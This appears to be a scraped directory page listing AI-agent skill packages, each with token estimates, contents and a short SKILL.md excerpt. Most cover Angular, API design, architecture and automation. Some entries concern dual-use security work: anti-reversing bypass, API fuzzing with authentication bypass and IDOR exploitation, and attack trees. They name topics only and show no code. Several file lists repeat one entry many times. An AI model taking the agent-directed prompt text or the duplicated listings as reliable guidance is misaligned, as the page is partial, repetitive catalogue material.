329 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use This Skill
- Do Not Use This Skill When
- Core Concepts
- Quick Start: Signal-Based State
- NgRx Store (Global State)
- RxJS-Based Patterns
- Server State with Signals
- Best Practices
- Migration Path
- Resources
Files
README.mddoc1,433 bytesSKILL.mdcore15,395 bytesmetadata.jsonasset661 bytes
Read SKILL.md
# Angular State Management
Comprehensive guide to modern Angular state management patterns, from Signal-based local state to global stores and server state synchronization.
## When to Use This Skill
- Setting up global state management in Angular
- Choosing between Signals, NgRx, or Akita
- Managing component-level stores
- Implementing optimistic updates
- Debugging state-related issues
- Migrating from legacy state patterns
## Do Not Use This Skill WhenView the complete source on GitHubangular-ui-patterns
When your agent uses it
Modern Angular UI patterns for loading states, error handling, and data display. Use when building UI components, handling async data, or managing component states.
What it loads into context
Frontmatter
47 tokensAlways available to the agent
SKILL.md
2,729 tokensWhen the skill is activated
Reference documents
402 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Core Principles
- Loading State Patterns
- Control Flow Patterns
- Error Handling Patterns
- Button State Patterns
- Empty States
- Form Patterns
- Dialog/Modal Patterns
- Anti-Patterns
- UI State Checklist
- Integration with Other Skills
- When to Use
Files
README.mddoc1,666 bytesSKILL.mdcore11,266 bytesmetadata.jsonasset632 bytes
Read SKILL.md
# Angular UI Patterns
## Core Principles
1. **Never show stale UI** - Loading states only when actually loading
2. **Always surface errors** - Users must know when something fails
3. **Optimistic updates** - Make the UI feel instant
4. **Progressive disclosure** - Use `@defer` to show content as available
5. **Graceful degradation** - Partial data is better than no data
---
## Loading State Patterns
View the complete source on GitHubanti-reversing-techniques
When your agent uses it
Understand anti-reversing, obfuscation, and protection techniques encountered during software analysis. Use when analyzing protected binaries, bypassing anti-debugging for authorized analysis, or u...
What it loads into context
Frontmatter
55 tokensAlways available to the agent
SKILL.md
408 tokensWhen the skill is activated
Reference documents
3,262 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Use this skill when
- Do not use this skill when
- Instructions
- Safety
- Resources
Files
SKILL.mdcore2,101 bytesresources/implementation-playbook.mddoc11,508 bytes
Read SKILL.md
> **AUTHORIZED USE ONLY**: This skill contains dual-use security techniques. Before proceeding with any bypass or analysis:
> 1. **Verify authorization**: Confirm you have explicit written permission from the software owner, or are operating within a legitimate security context (CTF, authorized pentest, malware analysis, security research)
> 2. **Document scope**: Ensure your activities fall within the defined scope of your authorization
> 3. **Legal compliance**: Understand that unauthorized bypassing of software protection may violate laws (CFAA, DMCA anti-circumvention, etc.)
>
> **Legitimate use cases**: Malware analysis, authorized penetration testing, CTF competitions, academic security research, analyzing software you own/have rights to
## Use this skill when
- Analyzing protected binaries with explicit authorization
- Conducting malware analysis or security research in scope
- Participating in CTFs or approved training exercises
- Understanding anti-debugging or obfuscation techniques for defense
View the complete source on GitHubantigravity-workflows
When your agent uses it
Orchestrate multiple Antigravity skills through guided workflows for SaaS MVP delivery, security audits, AI agent builds, and browser QA.
What it loads into context
Frontmatter
46 tokensAlways available to the agent
SKILL.md
583 tokensWhen the skill is activated
Reference documents
199 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use This Skill
- Workflow Source of Truth
- How to Run This Skill
- Default Workflow Routing
- Copy-Paste Prompts
- Limitations
- Related Skills
Files
SKILL.mdcore2,541 bytesresources/implementation-playbook.mddoc1,006 bytes
Read SKILL.md
# Antigravity Workflows
Use this skill to turn a complex objective into a guided sequence of skill invocations.
## When to Use This Skill
Use this skill when:
- The user wants to combine several skills without manually selecting each one.
- The goal is multi-phase (for example: plan, build, test, ship).
- The user asks for best-practice execution for common scenarios like:
- Shipping a SaaS MVP
- Running a web security audit
- Building an AI agent system
- Implementing browser automation and E2E QAView the complete source on GitHubapi-design-principles
When your agent uses it
Master REST and GraphQL API design principles to build intuitive, scalable, and maintainable APIs that delight developers. Use when designing new APIs, reviewing API specifications, or establishing...
What it loads into context
Frontmatter
53 tokensAlways available to the agent
SKILL.md
297 tokensWhen the skill is activated
Reference documents
8,592 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Use this skill when
- Do not use this skill when
- Instructions
- Resources
Scripts executed separately
assets/rest-api-template.py
Files
SKILL.mdcore1,503 bytesassets/api-design-checklist.mddoc3,884 bytesassets/rest-api-template.pyruns5,323 bytesreferences/graphql-schema-design.mddoc9,005 bytesreferences/rest-best-practices.mddoc7,571 bytesresources/implementation-playbook.mddoc13,019 bytes
Read SKILL.md
# API Design Principles
Master REST and GraphQL API design principles to build intuitive, scalable, and maintainable APIs that delight developers and stand the test of time.
## Use this skill when
- Designing new REST or GraphQL APIs
- Refactoring existing APIs for better usability
- Establishing API design standards for your team
- Reviewing API specifications before implementation
- Migrating between API paradigms (REST to GraphQL, etc.)
- Creating developer-friendly API documentation
- Optimizing APIs for specific use cases (mobile, third-party integrations)
View the complete source on GitHubapi-documentation-generator
When your agent uses it
Generate comprehensive, developer-friendly API documentation from code, including endpoints, parameters, examples, and best practices
What it loads into context
Frontmatter
38 tokensAlways available to the agent
SKILL.md
2,776 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- When to Use This Skill
- How It Works
- Examples
- Best Practices
- Documentation Structure
- Common Pitfalls
- Tools and Formats
- Related Skills
- Additional Resources
Files
SKILL.mdcore11,217 bytesSKILL.mdcore11,217 bytesSKILL.mdcore11,217 bytes
Read SKILL.md
# API Documentation Generator
## Overview
Automatically generate clear, comprehensive API documentation from your codebase. This skill helps you create professional documentation that includes endpoint descriptions, request/response examples, authentication details, error handling, and usage guidelines.
Perfect for REST APIs, GraphQL APIs, and WebSocket APIs.
## When to Use This Skill
- Use when you need to document a new API
- Use when updating existing API documentation
- Use when your API lacks clear documentation
- Use when onboarding new developers to your APIView the complete source on GitHubapi-documenter
When your agent uses it
What it loads into context
Frontmatter
77 tokensAlways available to the agent
SKILL.md
1,407 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Use this skill when
- Do not use this skill when
- Instructions
- Purpose
- Capabilities
- Behavioral Traits
- Knowledge Base
- Response Approach
- Example Interactions
Files
SKILL.mdcore8,197 bytes
Read SKILL.md
You are an expert API documentation specialist mastering modern developer experience through comprehensive, interactive, and AI-enhanced documentation.
## Use this skill when
- Creating or updating OpenAPI/AsyncAPI specifications
- Building developer portals, SDK docs, or onboarding flows
- Improving API documentation quality and discoverability
- Generating code examples or SDKs from API specs
## Do not use this skill when
- You only need a quick internal note or informal summary
- The task is pure backend implementation without docs
- There is no API surface or spec to document
View the complete source on GitHubapi-fuzzing-bug-bounty
When your agent uses it
This skill should be used when the user asks to "test API security", "fuzz APIs", "find IDOR vulnerabilities", "test REST API", "test GraphQL", "API penetration testing", "bug b...
What it loads into context
Frontmatter
82 tokensAlways available to the agent
SKILL.md
2,769 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Inputs/Prerequisites
- Outputs/Deliverables
- API Types Overview
- Core Workflow
- GraphQL-Specific Testing
- Endpoint Bypass Techniques
- Output Exploitation
- Common API Vulnerabilities Checklist
- Quick Reference
- Tools Reference
- Constraints
- Examples
- Troubleshooting
- When to Use
Files
SKILL.mdcore10,363 bytesSKILL.mdcore10,363 bytesSKILL.mdcore10,363 bytesSKILL.mdcore10,363 bytesSKILL.mdcore10,363 bytesSKILL.mdcore10,363 bytesSKILL.mdcore10,363 bytesSKILL.mdcore10,363 bytesSKILL.mdcore10,363 bytesSKILL.mdcore10,363 bytesSKILL.mdcore10,363 bytesSKILL.mdcore10,363 bytesSKILL.mdcore10,363 bytesSKILL.mdcore10,363 bytes
Read SKILL.md
# API Fuzzing for Bug Bounty
## Purpose
Provide comprehensive techniques for testing REST, SOAP, and GraphQL APIs during bug bounty hunting and penetration testing engagements. Covers vulnerability discovery, authentication bypass, IDOR exploitation, and API-specific attack vectors.
## Inputs/Prerequisites
- Burp Suite or similar proxy tool
- API wordlists (SecLists, api_wordlist)
- Understanding of REST/GraphQL/SOAP protocols
- Python for scripting
- Target API endpoints and documentation (if available)
View the complete source on GitHubapi-patterns
When your agent uses it
API design principles and decision-making. REST vs GraphQL vs tRPC selection, response formats, versioning, pagination.
What it loads into context
Frontmatter
54 tokensAlways available to the agent
SKILL.md
611 tokensWhen the skill is activated
Reference documents
2,486 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 🎯 Selective Reading Rule
- 📑 Content Map
- 🔗 Related Skills
- ✅ Decision Checklist
- ❌ Anti-Patterns
- Script
- When to Use
Scripts executed separately
scripts/api_validator.py
Files
SKILL.mdcore2,572 bytesapi-style.mddoc1,155 bytesauth.mddoc576 bytesdocumentation.mddoc549 bytesgraphql.mddoc977 bytesrate-limiting.mddoc726 bytesresponse.mddoc921 bytesrest.mddoc1,280 bytesscripts/api_validator.pyruns7,593 bytessecurity-testing.mddoc2,892 bytestrpc.mddoc801 bytesversioning.mddoc651 bytes
Read SKILL.md
# API Patterns
> API design principles and decision-making for 2025.
> **Learn to THINK, not copy fixed patterns.**
## 🎯 Selective Reading Rule
**Read ONLY files relevant to the request!** Check the content map, find what you need.
---
## 📑 Content Map
| File | Description | When to Read |View the complete source on GitHubapi-security-best-practices
When your agent uses it
Implement secure API design patterns including authentication, authorization, input validation, rate limiting, and protection against common API vulnerabilities
What it loads into context
Frontmatter
42 tokensAlways available to the agent
SKILL.md
5,884 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- When to Use This Skill
- How It Works
- Examples
- Best Practices
- Common Pitfalls
- Security Checklist
- OWASP API Security Top 10
- Related Skills
- Additional Resources
Files
SKILL.mdcore23,433 bytes
Read SKILL.md
# API Security Best Practices
## Overview
Guide developers in building secure APIs by implementing authentication, authorization, input validation, rate limiting, and protection against common vulnerabilities. This skill covers security patterns for REST, GraphQL, and WebSocket APIs.
## When to Use This Skill
- Use when designing new API endpoints
- Use when securing existing APIs
- Use when implementing authentication and authorization
- Use when protecting against API attacks (injection, DDoS, etc.)
- Use when conducting API security reviews
- Use when preparing for security auditsView the complete source on GitHubapi-testing-observability-api-mock
When your agent uses it
You are an API mocking expert specializing in realistic mock services for development, testing, and demos. Design mocks that simulate real API behavior and enable parallel development.
What it loads into context
Frontmatter
52 tokensAlways available to the agent
SKILL.md
355 tokensWhen the skill is activated
Reference documents
8,500 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Use this skill when
- Do not use this skill when
- Safety
- Context
- Requirements
- Instructions
- Resources
Files
SKILL.mdcore1,944 bytesresources/implementation-playbook.mddoc42,170 bytes
Read SKILL.md
# API Mocking Framework
You are an API mocking expert specializing in creating realistic mock services for development, testing, and demonstration purposes. Design comprehensive mocking solutions that simulate real API behavior, enable parallel development, and facilitate thorough testing.
## Use this skill when
- Building mock APIs for frontend or integration testing
- Simulating partner or third-party APIs during development
- Creating demo environments with realistic responses
- Validating API contracts before backend completion
## Do not use this skill when
- You need to test production systems or live integrationsView the complete source on GitHubapp-builder
When your agent uses it
Main application building orchestrator. Creates full-stack applications from natural language requests. Determines project type, selects tech stack, coordinates agents.
What it loads into context
Frontmatter
59 tokensAlways available to the agent
SKILL.md
804 tokensWhen the skill is activated
Reference documents
2,523 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 🎯 Selective Reading Rule
- 📦 Templates (13)
- 🔗 Related Agents
- Usage Example
- When to Use
Files
SKILL.mdcore3,309 bytesagent-coordination.mddoc5,555 bytesfeature-building.mddoc1,123 bytesproject-detection.mddoc1,323 bytesscaffolding.mddoc3,609 bytestech-stack.mddoc886 bytes
Read SKILL.md
# App Builder - Application Building Orchestrator
> Analyzes user's requests, determines tech stack, plans structure, and coordinates agents.
## 🎯 Selective Reading Rule
**Read ONLY files relevant to the request!** Check the content map, find what you need.
| File | Description | When to Read |
|------|-------------|--------------|
| `project-detection.md` | Keyword matrix, project type detection | Starting new project |
| `tech-stack.md` | 2025 default stack, alternatives | Choosing technologies |
| `agent-coordination.md` | Agent pipeline, execution order | Coordinating multi-agent work |
| `scaffolding.md` | Directory structure, core files | Creating project structure |View the complete source on GitHubtemplates
When your agent uses it
Project scaffolding templates for new applications. Use when creating new projects from scratch. Contains 12 templates for various tech stacks.
What it loads into context
Frontmatter
49 tokensAlways available to the agent
SKILL.md
433 tokensWhen the skill is activated
Reference documents
6,172 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 🎯 Selective Reading Rule
- Usage
- When to Use
Files
SKILL.mdcore1,722 bytesastro-static/TEMPLATE.mddoc1,706 byteschrome-extension/TEMPLATE.mddoc1,966 bytescli-tool/TEMPLATE.mddoc1,762 byteselectron-desktop/TEMPLATE.mddoc1,823 bytesexpress-api/TEMPLATE.mddoc1,759 bytesflutter-app/TEMPLATE.mddoc1,855 bytesmonorepo-turborepo/TEMPLATE.mddoc1,880 bytesnextjs-fullstack/TEMPLATE.mddoc1,620 bytesnextjs-saas/TEMPLATE.mddoc2,266 bytesnextjs-static/TEMPLATE.mddoc2,044 bytesnuxt-app/TEMPLATE.mddoc2,137 bytespython-fastapi/TEMPLATE.mddoc1,785 bytesreact-native-app/TEMPLATE.mddoc1,939 bytes
Read SKILL.md
# Project Templates
> Quick-start templates for scaffolding new projects.
---
## 🎯 Selective Reading Rule
**Read ONLY the template matching user's project type!**
| Template | Tech Stack | When to Use |
|----------|------------|-------------|
| [nextjs-fullstack](nextjs-fullstack/TEMPLATE.md) | Next.js + Prisma | Full-stack web app |
| [nextjs-saas](nextjs-saas/TEMPLATE.md) | Next.js + Stripe | SaaS product |View the complete source on GitHubapp-store-optimization
When your agent uses it
Complete App Store Optimization (ASO) toolkit for researching, optimizing, and tracking mobile app performance on Apple App Store and Google Play Store
What it loads into context
Frontmatter
45 tokensAlways available to the agent
SKILL.md
3,593 tokensWhen the skill is activated
Reference documents
5,462 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Capabilities
- Input Requirements
- Output Formats
- How to Use
- Scripts
- Best Practices
- Limitations
- Integration with Other Skills
- Version & Updates
- When to Use
Scripts executed separately
ab_test_planner.pyaso_scorer.pycompetitor_analyzer.pykeyword_analyzer.pylaunch_checklist.pylocalization_helper.pymetadata_optimizer.pyreview_analyzer.py
Files
HOW_TO_USE.mddoc10,252 bytesREADME.mddoc14,917 bytesSKILL.mdcore16,668 bytesab_test_planner.pyruns22,857 bytesaso_scorer.pyruns18,966 bytescompetitor_analyzer.pyruns21,346 bytesexpected_output.jsonasset5,492 byteskeyword_analyzer.pyruns13,108 byteslaunch_checklist.pyruns28,949 byteslocalization_helper.pyruns22,142 bytesmetadata_optimizer.pyruns20,824 bytesreview_analyzer.pyruns25,561 bytessample_input.jsonasset723 bytes
Read SKILL.md
# App Store Optimization (ASO) Skill
This comprehensive skill provides complete ASO capabilities for successfully launching and optimizing mobile applications on the Apple App Store and Google Play Store.
## Capabilities
### Research & Analysis
- **Keyword Research**: Analyze keyword volume, competition, and relevance for app discovery
- **Competitor Analysis**: Deep-dive into top-performing apps in your category
- **Market Trend Analysis**: Identify emerging trends and opportunities in your app category
- **Review Sentiment Analysis**: Extract insights from user reviews to identify strengths and issues
- **Category Analysis**: Evaluate optimal category and subcategory placement strategies
### Metadata OptimizationView the complete source on GitHubapplication-performance-performance-optimization
When your agent uses it
Optimize end-to-end application performance with profiling, observability, and backend/frontend tuning. Use when coordinating performance optimization across the stack.
What it loads into context
Frontmatter
44 tokensAlways available to the agent
SKILL.md
2,252 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Use this skill when
- Do not use this skill when
- Instructions
- Safety
- Phase 1: Performance Profiling & Baseline
- Phase 2: Database & Backend Optimization
- Phase 3: Frontend & CDN Optimization
- Phase 4: Load Testing & Validation
- Phase 5: Monitoring & Continuous Optimization
- Configuration Options
- Success Criteria
Files
SKILL.mdcore11,177 bytes
Read SKILL.md
Optimize application performance end-to-end using specialized performance and optimization agents:
[Extended thinking: This workflow orchestrates a comprehensive performance optimization process across the entire application stack. Starting with deep profiling and baseline establishment, the workflow progresses through targeted optimizations in each system layer, validates improvements through load testing, and establishes continuous monitoring for sustained performance. Each phase builds on insights from previous phases, creating a data-driven optimization strategy that addresses real bottlenecks rather than theoretical improvements. The workflow emphasizes modern observability practices, user-centric performance metrics, and cost-effective optimization strategies.]
## Use this skill when
- Coordinating performance optimization across backend, frontend, and infrastructure
- Establishing baselines and profiling to identify bottlenecks
- Designing load tests, performance budgets, or capacity plans
- Building observability for performance and reliability targets
## Do not use this skill when
- The task is a small localized fix with no broader performance goalsView the complete source on GitHubarchitect-review
When your agent uses it
Master software architect specializing in modern architecture patterns, clean architecture, microservices, event-driven systems, and DDD. Reviews system designs and code changes for architectural integrity, scalability, and maintainability. Use PROACTIVELY for architectural decisions.
What it loads into context
Frontmatter
73 tokensAlways available to the agent
SKILL.md
1,538 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Use this skill when
- Do not use this skill when
- Instructions
- Safety
- Expert Purpose
- Capabilities
- Behavioral Traits
- Knowledge Base
- Response Approach
- Example Interactions
Files
SKILL.mdcore8,476 bytes
Read SKILL.md
You are a master software architect specializing in modern software architecture patterns, clean architecture principles, and distributed systems design.
## Use this skill when
- Reviewing system architecture or major design changes
- Evaluating scalability, resilience, or maintainability impacts
- Assessing architecture compliance with standards and patterns
- Providing architectural guidance for complex systems
## Do not use this skill when
- You need a small code review without architectural impact
- The change is minor and local to a single module
- You lack system context or requirements to assess design
View the complete source on GitHubarchitecture
When your agent uses it
Architectural decision-making framework. Requirements analysis, trade-off evaluation, ADR documentation. Use when making architecture decisions or analyzing system design.
What it loads into context
Frontmatter
50 tokensAlways available to the agent
SKILL.md
391 tokensWhen the skill is activated
Reference documents
2,461 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 🎯 Selective Reading Rule
- 🔗 Related Skills
- Core Principle
- Validation Checklist
- When to Use
Files
SKILL.mdcore1,896 bytescontext-discovery.mddoc1,591 bytesexamples.mddoc2,430 bytespattern-selection.mddoc2,638 bytespatterns-reference.mddoc2,307 bytestrade-off-analysis.mddoc1,579 bytes
Read SKILL.md
# Architecture Decision Framework
> "Requirements drive architecture. Trade-offs inform decisions. ADRs capture rationale."
## 🎯 Selective Reading Rule
**Read ONLY files relevant to the request!** Check the content map, find what you need.
| File | Description | When to Read |
|------|-------------|--------------|
| `context-discovery.md` | Questions to ask, project classification | Starting architecture design |
| `trade-off-analysis.md` | ADR templates, trade-off framework | Documenting decisions |
| `pattern-selection.md` | Decision trees, anti-patterns | Choosing patterns |
| `examples.md` | MVP, SaaS, Enterprise examples | Reference implementations |View the complete source on GitHubarchitecture-decision-records
When your agent uses it
Write and maintain Architecture Decision Records (ADRs) following best practices for technical decision documentation. Use when documenting significant technical decisions, reviewing past architect...
What it loads into context
Frontmatter
47 tokensAlways available to the agent
SKILL.md
2,959 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Use this skill when
- Do not use this skill when
- Instructions
- Core Concepts
- Templates
- ADR Management
- Review Process
- Best Practices
- Resources
Files
SKILL.mdcore12,989 bytesSKILL.mdcore12,989 bytesSKILL.mdcore12,989 bytes
Read SKILL.md
# Architecture Decision Records
Comprehensive patterns for creating, maintaining, and managing Architecture Decision Records (ADRs) that capture the context and rationale behind significant technical decisions.
## Use this skill when
- Making significant architectural decisions
- Documenting technology choices
- Recording design trade-offs
- Onboarding new team members
- Reviewing historical decisions
- Establishing decision-making processes
## Do not use this skill whenView the complete source on GitHubarchitecture-patterns
When your agent uses it
Implement proven backend architecture patterns including Clean Architecture, Hexagonal Architecture, and Domain-Driven Design. Use when architecting complex backend systems or refactoring existing ...
What it loads into context
Frontmatter
47 tokensAlways available to the agent
SKILL.md
283 tokensWhen the skill is activated
Reference documents
3,148 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Use this skill when
- Do not use this skill when
- Instructions
- Resources
Files
SKILL.mdcore1,551 bytesresources/implementation-playbook.mddoc14,429 bytes
Read SKILL.md
# Architecture Patterns
Master proven backend architecture patterns including Clean Architecture, Hexagonal Architecture, and Domain-Driven Design to build maintainable, testable, and scalable systems.
## Use this skill when
- Designing new backend systems from scratch
- Refactoring monolithic applications for better maintainability
- Establishing architecture standards for your team
- Migrating from tightly coupled to loosely coupled architectures
- Implementing domain-driven design principles
- Creating testable and mockable codebases
- Planning microservices decomposition
View the complete source on GitHubarm-cortex-expert
When your agent uses it
What it loads into context
Frontmatter
99 tokensAlways available to the agent
SKILL.md
3,279 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Use this skill when
- Do not use this skill when
- Instructions
- 🎯 Role & Objectives
- 🧠 Knowledge Base
- ⚙<U+FE0F> Operating Principles
- 🛡<U+FE0F> Safety-Critical Patterns for ARM Cortex-M7 (Teensy 4.x, STM32 F7/H7)
- 🎯 Interrupt Priorities & NVIC Configuration
- 🔒 Critical Sections & Interrupt Masking
- 🐛 Hardfault Debugging Basics
- 📊 Cortex-M Architecture Differences
- 🧮 FPU Context Saving
- 🛡<U+FE0F> Stack Overflow Protection
- 🔄 Workflow
- 🛠 Example: SPI Driver for External Sensor
Files
SKILL.mdcore13,030 bytes
Read SKILL.md
# @arm-cortex-expert
## Use this skill when
- Working on @arm-cortex-expert tasks or workflows
- Needing guidance, best practices, or checklists for @arm-cortex-expert
## Do not use this skill when
- The task is unrelated to @arm-cortex-expert
- You need a different domain or tool outside this scope
## Instructions
View the complete source on GitHubasana-automation
When your agent uses it
Automate Asana tasks via Rube MCP (Composio): tasks, projects, sections, teams, workspaces. Always search tools first for current schemas.
What it loads into context
Frontmatter
60 tokensAlways available to the agent
SKILL.md
1,575 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Prerequisites
- Setup
- Core Workflows
- Common Patterns
- Known Pitfalls
- Quick Reference
- When to Use
Files
SKILL.mdcore6,147 bytes
Read SKILL.md
# Asana Automation via Rube MCP
Automate Asana operations through Composio's Asana toolkit via Rube MCP.
## Prerequisites
- Rube MCP must be connected (RUBE_SEARCH_TOOLS available)
- Active Asana connection via `RUBE_MANAGE_CONNECTIONS` with toolkit `asana`
- Always call `RUBE_SEARCH_TOOLS` first to get current tool schemas
## Setup
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
View the complete source on GitHubasync-python-patterns
When your agent uses it
Master Python asyncio, concurrent programming, and async/await patterns for high-performance applications. Use when building async APIs, concurrent systems, or I/O-bound applications requiring non-...
What it loads into context
Frontmatter
52 tokensAlways available to the agent
SKILL.md
327 tokensWhen the skill is activated
Reference documents
4,234 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Use this skill when
- Do not use this skill when
- Instructions
- Resources
Files
SKILL.mdcore1,708 bytesresources/implementation-playbook.mddoc17,935 bytes
Read SKILL.md
# Async Python Patterns
Comprehensive guidance for implementing asynchronous Python applications using asyncio, concurrent programming patterns, and async/await for building high-performance, non-blocking systems.
## Use this skill when
- Building async web APIs (FastAPI, aiohttp, Sanic)
- Implementing concurrent I/O operations (database, file, network)
- Creating web scrapers with concurrent requests
- Developing real-time applications (WebSocket servers, chat systems)
- Processing multiple independent tasks simultaneously
- Building microservices with async communication
- Optimizing I/O-bound workloads
- Implementing async background tasks and queuesView the complete source on GitHubattack-tree-construction
When your agent uses it
Build comprehensive attack trees to visualize threat paths. Use when mapping attack scenarios, identifying defense gaps, or communicating security risks to stakeholders.
What it loads into context
Frontmatter
43 tokensAlways available to the agent
SKILL.md
256 tokensWhen the skill is activated
Reference documents
4,858 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Use this skill when
- Do not use this skill when
- Instructions
- Safety
- Resources
Files
SKILL.mdcore1,323 bytesresources/implementation-playbook.mddoc21,937 bytes
Read SKILL.md
# Attack Tree Construction
Systematic attack path visualization and analysis.
## Use this skill when
- Visualizing complex attack scenarios
- Identifying defense gaps and priorities
- Communicating risks to stakeholders
- Planning defensive investments or test scopes
## Do not use this skill when
- You lack authorization or a defined scope to model the systemView the complete source on GitHubaudio-transcriber
When your agent uses it
Transform audio recordings into professional Markdown documentation with intelligent summaries using LLM integration
What it loads into context
Frontmatter
103 tokensAlways available to the agent
SKILL.md
3,967 tokensWhen the skill is activated
Reference documents
5,875 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- When to Use
- Workflow
- Example Usage
Scripts executed separately
examples/basic-transcription.shscripts/install-requirements.shscripts/transcribe.py
Files
CHANGELOG.mddoc5,462 bytesREADME.mddoc9,530 bytesSKILL.mdcore15,330 bytesSKILL.mdcore15,330 bytesSKILL.mdcore15,330 bytesSKILL.mdcore15,330 bytesSKILL.mdcore15,330 bytesSKILL.mdcore15,330 bytesSKILL.mdcore15,330 bytesSKILL.mdcore15,330 bytesSKILL.mdcore15,330 bytesSKILL.mdcore15,330 bytesSKILL.mdcore15,330 bytesSKILL.mdcore15,330 bytesSKILL.mdcore15,330 bytesSKILL.mdcore15,330 bytesSKILL.mdcore15,330 bytesSKILL.mdcore15,330 bytesSKILL.mdcore15,330 bytesSKILL.mdcore15,330 bytesSKILL.mdcore15,330 bytesSKILL.mdcore15,330 bytesSKILL.mdcore15,330 bytesSKILL.mdcore15,330 bytesSKILL.mdcore15,330 bytesSKILL.mdcore15,330 bytesexamples/basic-transcription.shruns6,460 bytesreferences/tools-comparison.mddoc8,399 bytesscripts/install-requirements.shruns6,811 bytesscripts/transcribe.pyruns17,719 bytes
Read SKILL.md
## Purpose
This skill automates audio-to-text transcription with professional Markdown output, extracting rich technical metadata (speakers, timestamps, language, file size, duration) and generating structured meeting minutes and executive summaries. It uses Faster-Whisper or Whisper with zero configuration, working universally across projects without hardcoded paths or API keys.
Inspired by tools like Plaud, this skill transforms raw audio recordings into actionable documentation, making it ideal for meetings, interviews, lectures, and content analysis.
## When to Use
Invoke this skill when:
- User needs to transcribe audio/video files to text
- User wants meeting minutes automatically generated from recordings
- User requires speaker identification (diarization) in conversations
- User needs subtitles/captions (SRT, VTT formats)View the complete source on GitHubauth-implementation-patterns
When your agent uses it
Master authentication and authorization patterns including JWT, OAuth2, session management, and RBAC to build secure, scalable access control systems. Use when implementing auth systems, securing A...
What it loads into context
Frontmatter
53 tokensAlways available to the agent
SKILL.md
279 tokensWhen the skill is activated
Reference documents
3,898 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Use this skill when
- Do not use this skill when
- Instructions
- Safety
- Resources
Files
SKILL.mdcore1,452 bytesresources/implementation-playbook.mddoc17,070 bytes
Read SKILL.md
# Authentication & Authorization Implementation Patterns
Build secure, scalable authentication and authorization systems using industry-standard patterns and modern best practices.
## Use this skill when
- Implementing user authentication systems
- Securing REST or GraphQL APIs
- Adding OAuth2/social login or SSO
- Designing session management or RBAC
- Debugging authentication or authorization issues
## Do not use this skill when
View the complete source on GitHubautomate-whatsapp
When your agent uses it
Build WhatsApp automations with Kapso workflows: configure WhatsApp triggers, edit workflow graphs, manage executions, deploy functions, and use databases/integrations for state. Use when automatin...
What it loads into context
Frontmatter
76 tokensAlways available to the agent
SKILL.md
2,572 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to use
- Setup
- How to
- Graph rules
- Function rules
- Execution context
- Scripts
- Notes
- References
- Assets
- Related skills
Files
SKILL.mdcore10,558 bytesSKILL.mdcore10,558 bytesSKILL.mdcore10,558 bytesSKILL.mdcore10,558 bytesSKILL.mdcore10,558 bytesSKILL.mdcore10,558 bytesSKILL.mdcore10,558 bytesSKILL.mdcore10,558 bytesSKILL.mdcore10,558 bytesSKILL.mdcore10,558 bytesSKILL.mdcore10,558 bytesSKILL.mdcore10,558 bytesSKILL.mdcore10,558 bytesSKILL.mdcore10,558 bytesSKILL.mdcore10,558 bytesSKILL.mdcore10,558 bytesSKILL.mdcore10,558 bytesSKILL.mdcore10,558 bytesSKILL.mdcore10,558 bytesSKILL.mdcore10,558 bytesSKILL.mdcore10,558 bytesSKILL.mdcore10,558 bytesSKILL.mdcore10,558 bytesSKILL.mdcore10,558 bytesSKILL.mdcore10,558 bytesSKILL.mdcore10,558 bytesSKILL.mdcore10,558 bytesSKILL.mdcore10,558 bytesSKILL.mdcore10,558 bytesSKILL.mdcore10,558 bytesSKILL.mdcore10,558 bytesSKILL.mdcore10,558 bytes
Read SKILL.md
# Automate WhatsApp
## When to use
Use this skill to build and run WhatsApp automations: workflow CRUD, graph edits, triggers, executions, function management, app integrations, and D1 database operations.
## Setup
Env vars:
- `KAPSO_API_BASE_URL` (host only, no `/platform/v1`)
- `KAPSO_API_KEY`
## How to
View the complete source on GitHubautonomous-agent-patterns
When your agent uses it
